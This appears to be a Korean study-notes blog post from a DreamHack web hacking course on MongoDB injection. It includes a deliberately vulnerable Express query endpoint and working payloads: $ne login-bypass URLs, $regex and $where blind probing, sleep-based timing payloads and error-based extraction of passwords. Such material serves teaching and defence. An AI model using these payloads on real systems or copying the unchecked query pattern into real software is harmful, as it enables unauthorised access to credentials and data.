Information Security
[DreamHack]-WHA ExploitTech: MongoDB DBMS 본문
NoSQL 중 MongoDB에서 발생하는 취약점 형태와 이를 공격하는 방법에 대해서 소개
MongoDB의 특징
- 스키마 (Schema)가 존재하지 않아 각 테이블 (또는 Collection)에 특별한 정의를 하지 않아도 된다.
- JSON 형식으로 쿼리문을 작성할 수 있다.
- _id 필드가 기본키 (Primary Key) 역할을 한다.
- '$' 문자를 이용해 연산자를 사용할 수 있다.
연산자
Comparison
Logical
Element
Evaluation
MongoDB Injection
MongoDB에서 주로 발생하는 취약점
이용자가 입력한 값의 타입을 검사하지 않거나 미흡할 때 발생
공격자는 이를 통해 MongoDB에서 제공하는 연산자를 입력하여 데이터베이스 정보를 획득할 수 있음
GET 방식 예시
const express = require('express');
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
POST 방식 예시
const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
app.get('/', function(req,res) {
res.send('hello world');
});
app.post('/post', function(req,res) {
console.log('data:', req.body.data);
console.log('type:', typeof req.body.data);
res.send({"status":"ok"});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
MongoDB Injection 취약점 예시
MongoDB Injection 취약점 예제 코드
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
“/query” 페이지에서 uid와 upw를 입력받고, 이를 user 콜렉션에서 데이터를 조회할 때 사용
이용자가 입력한 값에 대해 어떠한 검사도 수행하지 않기 때문에 객체 타입의 데이터를 전달할 수 있음
연산자를 이용한 공격
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
입력값을 살펴보면, uid와 upw에 “$ne” 연산자를 삽입한 것을 확인할 수 있음
해당 연산자는 “No Equal” 즉, 식과 일치하지 않는 값을 반환
uid가 “a”가 아니고, upw가 “a”가 아닌 값을 조회해 관리자 계정을 획득
regex를 이용한 공격 예시
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
쿼리를 살펴보면, $regex와 함께 “^a”를 입력하는 것을 볼 수 있음
정규식에서 “^” 문자는 첫 문자열을 의미하므로 첫 글자가 'a'인 문자열을 조회함
where 연산자 주의 사항
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
“{$where: “return 1==1”}” 식은 실행할 수 있지만 그 아래 쿼리와 같이 uid에 해당하는 필드 안에서 사용하는 것은 불가능
MongoDB Blind Injection
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
substring 함수를 사용해 upw의 첫 글자를 비교
substring 함수의 인자와 비교 문자를 바꿔가면서 전체 데이터를 알아낼 수 있음
MongoDB Time based Injection
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
위와 같은 코드로 데이터를 조회하는 경우 “guest” 계정의 패스워드를 알아낼 수 있음
MongoDB Time based Injection
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
AND 연산자를 사용해 uid가 "guest"이고 upw가 비교하려는 문자와 일치하면 sleep(5000) 코드를 실행
MongoDB Error based Injection
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
substring 함수를 사용해 upw의 첫 글자를 비교하고, AND 연산자를 사용해 문법 에러가 발생하는 “asdf”를 삽입
앞선 비교 식이 참일 경우 “asdf” 식이 실행되어 에러가 발생
공격자는 에러 발생 여부를 통해 데이터를 획득 가능
'INTERLUDE > Web Hacking' 카테고리의 다른 글
[DreamHack]-WHA Exercise: CouchDB (0) | 2022.04.28 |
---|---|
[DreamHack]-WHA ExploitTech: CouchDBMS (0) | 2022.04.28 |
[DreamHack]-WHA sql injection bypass WAF Advanced (0) | 2022.04.07 |
[DreamHack]-WHA sql injection bypass WAF (0) | 2022.04.07 |
[DreamHack]-WHA Exploit Tech: DBMS Misconfiguration (0) | 2022.04.07 |